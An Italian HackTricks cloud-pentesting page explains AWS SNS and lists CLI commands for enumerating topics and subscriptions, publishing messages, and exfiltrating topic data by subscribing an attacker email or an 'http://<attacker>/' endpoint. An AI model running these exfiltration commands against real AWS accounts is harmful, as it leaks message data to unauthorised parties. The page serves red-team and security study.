AWS - SNS Enum
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
SNS
Amazon Simple Notification Service (Amazon SNS) è descritto come un servizio di messaggistica completamente gestito. Supporta sia i tipi di comunicazione application-to-application (A2A) che application-to-person (A2P).
Le caratteristiche chiave per la comunicazione A2A includono i meccanismi di pubblicazione/sottoscrizione (pub/sub). Questi meccanismi introducono argomenti, cruciali per abilitare messaggi push-based ad alta capacità, many-to-many. Questa funzionalità è altamente vantaggiosa in scenari che coinvolgono sistemi distribuiti, microservizi e architetture serverless basate su eventi. Sfruttando questi argomenti, i sistemi di pubblicazione possono distribuire messaggi in modo efficiente a un ampio numero di sistemi di sottoscrizione, facilitando un modello di messaggistica fanout.
Differenza con SQS
SQS è un servizio basato su coda che consente comunicazioni punto a punto, garantendo che i messaggi siano elaborati da un singolo consumatore. Offre consegna almeno una volta, supporta code standard e FIFO, e consente la retention dei messaggi per ripetizioni e elaborazione ritardata.
D'altra parte, SNS è un servizio basato su pubblicazione/sottoscrizione, che consente comunicazioni one-to-many trasmettendo messaggi a più sottoscrittori simultaneamente. Supporta vari endpoint di sottoscrizione come email, SMS, funzioni Lambda e HTTP/HTTPS, e fornisce meccanismi di filtraggio per la consegna mirata dei messaggi.
Sebbene entrambi i servizi consentano il disaccoppiamento tra i componenti nei sistemi distribuiti, SQS si concentra sulla comunicazione in coda, mentre SNS enfatizza i modelli di comunicazione basati su eventi e fan-out.
Enumerazione
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
caution
Nota che se il topic è di tipo FIFO, possono essere utilizzati solo gli abbonati che utilizzano il protocollo SQS (HTTP o HTTPS non possono essere utilizzati).
Inoltre, anche se il --topic-arn
contiene la regione, assicurati di specificare la regione corretta in --region
o riceverai un errore che sembra indicare che non hai accesso, ma il problema è la regione.
Accesso Non Autenticato
AWS - SNS Unauthenticated Enum
Escalation dei Privilegi
Post Sfruttamento
Persistenza
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.